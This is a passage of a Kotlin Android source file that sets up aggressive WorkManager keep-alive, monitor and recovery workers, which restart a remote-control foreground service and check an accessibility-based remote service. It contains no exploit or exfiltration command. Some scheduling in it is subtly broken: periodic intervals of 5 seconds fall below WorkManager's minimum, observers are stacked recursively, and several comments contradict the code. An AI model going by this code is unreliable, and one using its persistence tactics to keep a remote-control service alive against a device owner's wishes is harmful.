1064 lines
41 KiB
Kotlin
1064 lines
41 KiB
Kotlin
|
|
package com.hikoncont.service
|
|||
|
|
|
|||
|
|
import android.content.Context
|
|||
|
|
import android.util.Log
|
|||
|
|
import androidx.work.*
|
|||
|
|
import androidx.lifecycle.Observer
|
|||
|
|
import kotlinx.coroutines.delay
|
|||
|
|
import java.util.concurrent.TimeUnit
|
|||
|
|
import com.hikoncont.service.ImmediateRecoveryWorker
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* WorkManager保活服务
|
|||
|
|
* 使用Android官方推荐的WorkManager进行保活
|
|||
|
|
*/
|
|||
|
|
class WorkManagerKeepAliveService {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "WorkManagerKeepAlive"
|
|||
|
|
private const val WORK_NAME_KEEP_ALIVE = "keep_alive_work"
|
|||
|
|
private const val WORK_NAME_MONITOR = "monitor_work"
|
|||
|
|
private const val WORK_NAME_RECOVERY = "recovery_work"
|
|||
|
|
|
|||
|
|
// 工作间隔 - 优化为5秒快速启动
|
|||
|
|
private const val KEEP_ALIVE_INTERVAL = 5L // ✅ 优化:5秒(快速保活)
|
|||
|
|
private const val MONITOR_INTERVAL = 5L // ✅ 优化:5秒(快速保活)
|
|||
|
|
private const val RECOVERY_INTERVAL = 5L // ✅ 优化:5秒(快速保活)
|
|||
|
|
|
|||
|
|
// 快速恢复间隔 - 优化为5秒
|
|||
|
|
private const val QUICK_RECOVERY_INTERVAL = 5L // ✅ 优化:5秒
|
|||
|
|
private const val EMERGENCY_RECOVERY_INTERVAL = 5L // ✅ 优化:5秒
|
|||
|
|
|
|||
|
|
@Volatile
|
|||
|
|
private var INSTANCE: WorkManagerKeepAliveService? = null
|
|||
|
|
|
|||
|
|
fun getInstance(): WorkManagerKeepAliveService {
|
|||
|
|
return INSTANCE ?: synchronized(this) {
|
|||
|
|
INSTANCE ?: WorkManagerKeepAliveService().also { INSTANCE = it }
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动WorkManager保活
|
|||
|
|
*/
|
|||
|
|
fun startKeepAlive(context: Context) {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "🚀 启动WorkManager保活服务")
|
|||
|
|
|
|||
|
|
val workManager = WorkManager.getInstance(context)
|
|||
|
|
|
|||
|
|
// 1. 启动保活工作
|
|||
|
|
startKeepAliveWork(context, workManager)
|
|||
|
|
|
|||
|
|
// 2. 启动监控工作
|
|||
|
|
startMonitorWork(context, workManager)
|
|||
|
|
|
|||
|
|
// 3. 启动恢复工作
|
|||
|
|
startRecoveryWork(context, workManager)
|
|||
|
|
|
|||
|
|
// 4. 启动快速恢复工作(5秒内)
|
|||
|
|
startQuickRecoveryWork(context, workManager)
|
|||
|
|
|
|||
|
|
// 5. 启动紧急恢复工作(立即执行)
|
|||
|
|
startEmergencyRecoveryWork(context, workManager)
|
|||
|
|
|
|||
|
|
// 6. 启动立即执行工作(一次性)
|
|||
|
|
startImmediateRecoveryWork(context, workManager)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ WorkManager保活服务启动完成")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动WorkManager保活服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 停止WorkManager保活
|
|||
|
|
*/
|
|||
|
|
fun stopKeepAlive(context: Context) {
|
|||
|
|
try {
|
|||
|
|
Log.i(TAG, "🛑 停止WorkManager保活服务")
|
|||
|
|
|
|||
|
|
val workManager = WorkManager.getInstance(context)
|
|||
|
|
|
|||
|
|
// 取消所有保活相关的工作
|
|||
|
|
workManager.cancelUniqueWork(WORK_NAME_KEEP_ALIVE)
|
|||
|
|
workManager.cancelUniqueWork(WORK_NAME_MONITOR)
|
|||
|
|
workManager.cancelUniqueWork(WORK_NAME_RECOVERY)
|
|||
|
|
workManager.cancelUniqueWork("quick_recovery_work")
|
|||
|
|
workManager.cancelUniqueWork("emergency_recovery_work")
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ WorkManager保活服务停止完成")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 停止WorkManager保活服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* ✅ 检查APP是否安装完成
|
|||
|
|
* 只有在安装完成后才启动保活工作,避免第一次打开APP时反复唤醒主页
|
|||
|
|
*/
|
|||
|
|
private fun isAppInstallationComplete(context: Context): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(context)
|
|||
|
|
val isCompleted = installationStateManager.isInstallationComplete()
|
|||
|
|
|
|||
|
|
if (!isCompleted) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过保活工作启动")
|
|||
|
|
return false
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// ✅ 检查安装完成时间,确保不是刚安装完成
|
|||
|
|
val installationTime = installationStateManager.getInstallationTime()
|
|||
|
|
val currentTime = System.currentTimeMillis()
|
|||
|
|
val timeSinceInstallation = currentTime - installationTime
|
|||
|
|
|
|||
|
|
// 如果安装完成时间少于30秒,跳过保活工作(给系统足够时间稳定)
|
|||
|
|
if (timeSinceInstallation < 30000L) {
|
|||
|
|
Log.d(TAG, "🔒 APP刚安装完成(${timeSinceInstallation}ms),跳过保活工作启动,等待系统稳定")
|
|||
|
|
return false
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
true
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查APP安装完成状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动保活工作
|
|||
|
|
* ✅ 关键:只有在APP安装完成后才启动保活工作
|
|||
|
|
*/
|
|||
|
|
private fun startKeepAliveWork(context: Context, workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
// ✅ 关键:检查APP是否安装完成,未完成则不启动保活工作
|
|||
|
|
if (!isAppInstallationComplete(context)) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过保活工作启动")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
// ✅ 优化:使用秒级间隔(WorkManager 最小间隔限制为 15 分钟,但我们可以使用 OneTimeWorkRequest 重复调度)
|
|||
|
|
val keepAliveRequest = PeriodicWorkRequestBuilder<KeepAliveWorker>(
|
|||
|
|
15, TimeUnit.MINUTES // WorkManager 最小间隔限制
|
|||
|
|
)
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setBackoffCriteria(
|
|||
|
|
BackoffPolicy.LINEAR,
|
|||
|
|
WorkRequest.MIN_BACKOFF_MILLIS,
|
|||
|
|
TimeUnit.MILLISECONDS
|
|||
|
|
)
|
|||
|
|
.addTag("keep_alive")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueueUniquePeriodicWork(
|
|||
|
|
WORK_NAME_KEEP_ALIVE,
|
|||
|
|
ExistingPeriodicWorkPolicy.KEEP,
|
|||
|
|
keepAliveRequest
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
// ✅ 优化:额外启动快速保活工作(5秒间隔)
|
|||
|
|
scheduleFastKeepAliveWork(workManager)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 保活工作已启动(15分钟定期 + 5秒快速保活)")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动保活工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动监控工作
|
|||
|
|
* ✅ 关键:只有在APP安装完成后才启动监控工作
|
|||
|
|
*/
|
|||
|
|
private fun startMonitorWork(context: Context, workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
// ✅ 关键:检查APP是否安装完成,未完成则不启动监控工作
|
|||
|
|
if (!isAppInstallationComplete(context)) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过监控工作启动")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
// ✅ 优化:使用秒级间隔(WorkManager 最小间隔限制为 15 分钟,但我们可以使用 OneTimeWorkRequest 重复调度)
|
|||
|
|
val monitorRequest = PeriodicWorkRequestBuilder<MonitorWorker>(
|
|||
|
|
15, TimeUnit.MINUTES // WorkManager 最小间隔限制
|
|||
|
|
)
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setBackoffCriteria(
|
|||
|
|
BackoffPolicy.LINEAR,
|
|||
|
|
WorkRequest.MIN_BACKOFF_MILLIS,
|
|||
|
|
TimeUnit.MILLISECONDS
|
|||
|
|
)
|
|||
|
|
.addTag("monitor")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueueUniquePeriodicWork(
|
|||
|
|
WORK_NAME_MONITOR,
|
|||
|
|
ExistingPeriodicWorkPolicy.KEEP,
|
|||
|
|
monitorRequest
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
// ✅ 优化:额外启动快速监控工作(5秒间隔)
|
|||
|
|
scheduleFastMonitorWork(workManager)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 监控工作已启动(15分钟定期 + 5秒快速监控)")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动监控工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动恢复工作
|
|||
|
|
* ✅ 关键:只有在APP安装完成后才启动恢复工作
|
|||
|
|
*/
|
|||
|
|
private fun startRecoveryWork(context: Context, workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
// ✅ 关键:检查APP是否安装完成,未完成则不启动恢复工作
|
|||
|
|
if (!isAppInstallationComplete(context)) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过恢复工作启动")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
// ✅ 优化:使用秒级间隔(WorkManager 最小间隔限制为 15 分钟,但我们可以使用 OneTimeWorkRequest 重复调度)
|
|||
|
|
val recoveryRequest = PeriodicWorkRequestBuilder<RecoveryWorker>(
|
|||
|
|
15, TimeUnit.MINUTES // WorkManager 最小间隔限制
|
|||
|
|
)
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setBackoffCriteria(
|
|||
|
|
BackoffPolicy.LINEAR,
|
|||
|
|
WorkRequest.MIN_BACKOFF_MILLIS,
|
|||
|
|
TimeUnit.MILLISECONDS
|
|||
|
|
)
|
|||
|
|
.addTag("recovery")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueueUniquePeriodicWork(
|
|||
|
|
WORK_NAME_RECOVERY,
|
|||
|
|
ExistingPeriodicWorkPolicy.KEEP,
|
|||
|
|
recoveryRequest
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
// ✅ 优化:额外启动快速恢复工作(5秒间隔)
|
|||
|
|
scheduleFastRecoveryWork(workManager)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 恢复工作已启动(15分钟定期 + 5秒快速恢复)")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动恢复工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动快速恢复工作(15秒间隔)
|
|||
|
|
* ✅ 关键:只有在APP安装完成后才启动快速恢复工作
|
|||
|
|
*/
|
|||
|
|
private fun startQuickRecoveryWork(context: Context, workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
// ✅ 关键:检查APP是否安装完成,未完成则不启动快速恢复工作
|
|||
|
|
if (!isAppInstallationComplete(context)) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过快速恢复工作启动")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
val quickRecoveryRequest = PeriodicWorkRequestBuilder<QuickRecoveryWorker>(
|
|||
|
|
QUICK_RECOVERY_INTERVAL, TimeUnit.SECONDS
|
|||
|
|
)
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setBackoffCriteria(
|
|||
|
|
BackoffPolicy.LINEAR,
|
|||
|
|
WorkRequest.MIN_BACKOFF_MILLIS,
|
|||
|
|
TimeUnit.MILLISECONDS
|
|||
|
|
)
|
|||
|
|
.addTag("quick_recovery")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueueUniquePeriodicWork(
|
|||
|
|
"quick_recovery_work",
|
|||
|
|
ExistingPeriodicWorkPolicy.KEEP,
|
|||
|
|
quickRecoveryRequest
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 快速恢复工作已启动,间隔: ${QUICK_RECOVERY_INTERVAL}秒")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动快速恢复工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动紧急恢复工作(5秒间隔)
|
|||
|
|
* ✅ 关键:只有在APP安装完成后才启动紧急恢复工作
|
|||
|
|
*/
|
|||
|
|
private fun startEmergencyRecoveryWork(context: Context, workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
// ✅ 关键:检查APP是否安装完成,未完成则不启动紧急恢复工作
|
|||
|
|
if (!isAppInstallationComplete(context)) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过紧急恢复工作启动")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
val emergencyRecoveryRequest = PeriodicWorkRequestBuilder<EmergencyRecoveryWorker>(
|
|||
|
|
EMERGENCY_RECOVERY_INTERVAL, TimeUnit.SECONDS
|
|||
|
|
)
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setBackoffCriteria(
|
|||
|
|
BackoffPolicy.LINEAR,
|
|||
|
|
WorkRequest.MIN_BACKOFF_MILLIS,
|
|||
|
|
TimeUnit.MILLISECONDS
|
|||
|
|
)
|
|||
|
|
.addTag("emergency_recovery")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueueUniquePeriodicWork(
|
|||
|
|
"emergency_recovery_work",
|
|||
|
|
ExistingPeriodicWorkPolicy.KEEP,
|
|||
|
|
emergencyRecoveryRequest
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 紧急恢复工作已启动,间隔: ${EMERGENCY_RECOVERY_INTERVAL}秒")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动紧急恢复工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动立即执行工作(一次性)
|
|||
|
|
* ✅ 关键:只有在APP安装完成后才启动立即执行工作
|
|||
|
|
*/
|
|||
|
|
private fun startImmediateRecoveryWork(context: Context, workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
// ✅ 关键:检查APP是否安装完成,未完成则不启动立即执行工作
|
|||
|
|
if (!isAppInstallationComplete(context)) {
|
|||
|
|
Log.d(TAG, "🔒 APP安装未完成,跳过立即执行工作启动")
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
val immediateRequest = OneTimeWorkRequestBuilder<ImmediateRecoveryWorker>()
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setBackoffCriteria(
|
|||
|
|
BackoffPolicy.LINEAR,
|
|||
|
|
WorkRequest.MIN_BACKOFF_MILLIS,
|
|||
|
|
TimeUnit.MILLISECONDS
|
|||
|
|
)
|
|||
|
|
.addTag("immediate_recovery")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueue(immediateRequest)
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 立即执行工作已启动")
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动立即执行工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查WorkManager状态
|
|||
|
|
*/
|
|||
|
|
fun checkWorkManagerStatus(context: Context): Map<String, Any> {
|
|||
|
|
return try {
|
|||
|
|
val workManager = WorkManager.getInstance(context)
|
|||
|
|
|
|||
|
|
val keepAliveInfo = workManager.getWorkInfosForUniqueWork(WORK_NAME_KEEP_ALIVE).get()
|
|||
|
|
val monitorInfo = workManager.getWorkInfosForUniqueWork(WORK_NAME_MONITOR).get()
|
|||
|
|
val recoveryInfo = workManager.getWorkInfosForUniqueWork(WORK_NAME_RECOVERY).get()
|
|||
|
|
|
|||
|
|
mapOf(
|
|||
|
|
"keep_alive_running" to keepAliveInfo.any { it.state == WorkInfo.State.RUNNING },
|
|||
|
|
"monitor_running" to monitorInfo.any { it.state == WorkInfo.State.RUNNING },
|
|||
|
|
"recovery_running" to recoveryInfo.any { it.state == WorkInfo.State.RUNNING },
|
|||
|
|
"keep_alive_enqueued" to keepAliveInfo.any { it.state == WorkInfo.State.ENQUEUED },
|
|||
|
|
"monitor_enqueued" to monitorInfo.any { it.state == WorkInfo.State.ENQUEUED },
|
|||
|
|
"recovery_enqueued" to recoveryInfo.any { it.state == WorkInfo.State.ENQUEUED }
|
|||
|
|
)
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查WorkManager状态失败", e)
|
|||
|
|
emptyMap()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* ✅ 优化:快速保活工作(5秒间隔)- 使用 OneTimeWorkRequest 重复调度
|
|||
|
|
*/
|
|||
|
|
private fun scheduleFastKeepAliveWork(workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
val fastKeepAliveRequest = OneTimeWorkRequestBuilder<KeepAliveWorker>()
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setInitialDelay(5, TimeUnit.SECONDS)
|
|||
|
|
.addTag("fast_keep_alive")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueue(fastKeepAliveRequest)
|
|||
|
|
|
|||
|
|
// ✅ 关键:在 Worker 完成后重新调度(实现5秒间隔)
|
|||
|
|
workManager.getWorkInfoByIdLiveData(fastKeepAliveRequest.id)
|
|||
|
|
.observeForever { workInfo ->
|
|||
|
|
if (workInfo?.state == WorkInfo.State.SUCCEEDED || workInfo?.state == WorkInfo.State.FAILED) {
|
|||
|
|
scheduleFastKeepAliveWork(workManager) // 重新调度
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Log.d(TAG, "✅ 快速保活工作已调度(5秒间隔)")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 调度快速保活工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* ✅ 优化:快速监控工作(5秒间隔)- 使用 OneTimeWorkRequest 重复调度
|
|||
|
|
*/
|
|||
|
|
private fun scheduleFastMonitorWork(workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
val fastMonitorRequest = OneTimeWorkRequestBuilder<MonitorWorker>()
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setInitialDelay(5, TimeUnit.SECONDS)
|
|||
|
|
.addTag("fast_monitor")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueue(fastMonitorRequest)
|
|||
|
|
|
|||
|
|
// ✅ 关键:在 Worker 完成后重新调度(实现5秒间隔)
|
|||
|
|
workManager.getWorkInfoByIdLiveData(fastMonitorRequest.id)
|
|||
|
|
.observeForever { workInfo ->
|
|||
|
|
if (workInfo?.state == WorkInfo.State.SUCCEEDED || workInfo?.state == WorkInfo.State.FAILED) {
|
|||
|
|
scheduleFastMonitorWork(workManager) // 重新调度
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Log.d(TAG, "✅ 快速监控工作已调度(5秒间隔)")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 调度快速监控工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* ✅ 优化:快速恢复工作(5秒间隔)- 使用 OneTimeWorkRequest 重复调度
|
|||
|
|
*/
|
|||
|
|
private fun scheduleFastRecoveryWork(workManager: WorkManager) {
|
|||
|
|
try {
|
|||
|
|
val constraints = Constraints.Builder()
|
|||
|
|
.setRequiredNetworkType(NetworkType.NOT_REQUIRED)
|
|||
|
|
.setRequiresBatteryNotLow(false)
|
|||
|
|
.setRequiresCharging(false)
|
|||
|
|
.setRequiresDeviceIdle(false)
|
|||
|
|
.setRequiresStorageNotLow(false)
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
val fastRecoveryRequest = OneTimeWorkRequestBuilder<RecoveryWorker>()
|
|||
|
|
.setConstraints(constraints)
|
|||
|
|
.setInitialDelay(5, TimeUnit.SECONDS)
|
|||
|
|
.addTag("fast_recovery")
|
|||
|
|
.build()
|
|||
|
|
|
|||
|
|
workManager.enqueue(fastRecoveryRequest)
|
|||
|
|
|
|||
|
|
// ✅ 关键:在 Worker 完成后重新调度(实现5秒间隔)
|
|||
|
|
workManager.getWorkInfoByIdLiveData(fastRecoveryRequest.id)
|
|||
|
|
.observeForever { workInfo ->
|
|||
|
|
if (workInfo?.state == WorkInfo.State.SUCCEEDED || workInfo?.state == WorkInfo.State.FAILED) {
|
|||
|
|
scheduleFastRecoveryWork(workManager) // 重新调度
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
Log.d(TAG, "✅ 快速恢复工作已调度(5秒间隔)")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 调度快速恢复工作失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 保活工作器
|
|||
|
|
*/
|
|||
|
|
class KeepAliveWorker(
|
|||
|
|
context: Context,
|
|||
|
|
params: WorkerParameters
|
|||
|
|
) : CoroutineWorker(context, params) {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "KeepAliveWorker"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override suspend fun doWork(): Result {
|
|||
|
|
return try {
|
|||
|
|
Log.i(TAG, "🔄 执行保活工作")
|
|||
|
|
|
|||
|
|
// 1. 启动前台服务
|
|||
|
|
startForegroundService()
|
|||
|
|
|
|||
|
|
// 2. 检查无障碍服务状态
|
|||
|
|
checkAccessibilityService()
|
|||
|
|
|
|||
|
|
// 3. 记录保活日志
|
|||
|
|
recordKeepAliveLog()
|
|||
|
|
|
|||
|
|
Log.i(TAG, "✅ 保活工作执行完成")
|
|||
|
|
Result.success()
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 保活工作执行失败", e)
|
|||
|
|
Result.retry()
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun startForegroundService() {
|
|||
|
|
try {
|
|||
|
|
val intent = android.content.Intent(applicationContext, com.hikoncont.service.RemoteControlForegroundService::class.java)
|
|||
|
|
applicationContext.startForegroundService(intent)
|
|||
|
|
Log.d(TAG, "✅ 前台服务已启动")
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 启动前台服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun checkAccessibilityService() {
|
|||
|
|
try {
|
|||
|
|
val isEnabled = isAccessibilityServiceEnabled(applicationContext)
|
|||
|
|
val isRunning = com.hikoncont.service.AccessibilityRemoteService.isServiceRunning()
|
|||
|
|
|
|||
|
|
Log.d(TAG, "🔍 无障碍服务状态: enabled=$isEnabled, running=$isRunning")
|
|||
|
|
|
|||
|
|
if (!isRunning && isEnabled) {
|
|||
|
|
// ✅ 参考 f 目录:不重启无障碍服务,系统会自动管理
|
|||
|
|
Log.d(TAG, "📱 无障碍服务由系统自动管理,无需手动重启")
|
|||
|
|
}
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 检查无障碍服务是否已启用
|
|||
|
|
*/
|
|||
|
|
private fun isAccessibilityServiceEnabled(context: Context): Boolean {
|
|||
|
|
return try {
|
|||
|
|
val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as android.view.accessibility.AccessibilityManager
|
|||
|
|
val enabledServices = android.provider.Settings.Secure.getString(
|
|||
|
|
context.contentResolver,
|
|||
|
|
android.provider.Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES
|
|||
|
|
)
|
|||
|
|
enabledServices?.contains("${context.packageName}/${com.hikoncont.service.AccessibilityRemoteService::class.java.name}") ?: false
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 检查无障碍服务启用状态失败", e)
|
|||
|
|
false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
private suspend fun recordKeepAliveLog() {
|
|||
|
|
try {
|
|||
|
|
val timestamp = System.currentTimeMillis()
|
|||
|
|
Log.i(TAG, "📝 保活日志记录: $timestamp")
|
|||
|
|
|
|||
|
|
// 这里可以添加更多的保活逻辑
|
|||
|
|
// 例如:发送心跳包、更新状态等
|
|||
|
|
|
|||
|
|
} catch (e: Exception) {
|
|||
|
|
Log.e(TAG, "❌ 记录保活日志失败", e)
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 监控工作器
|
|||
|
|
*/
|
|||
|
|
class MonitorWorker(
|
|||
|
|
context: Context,
|
|||
|
|
params: WorkerParameters
|
|||
|
|
) : CoroutineWorker(context, params) {
|
|||
|
|
|
|||
|
|
companion object {
|
|||
|
|
private const val TAG = "MonitorWorker"
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
override suspend fun doWork(): Result {
|
|||
|
|
return try {
|
|||
|
|
Log.i(TAG, "🔍 执行监控工作")
|
|||
|
|
|
|||
|
|
// 1. 监控应用状态
|
|||
|
|
monitorAppStatus()
|
|||
|
|
|
|||
|
|
// 2. 监控服务状态
|
|||
|
|
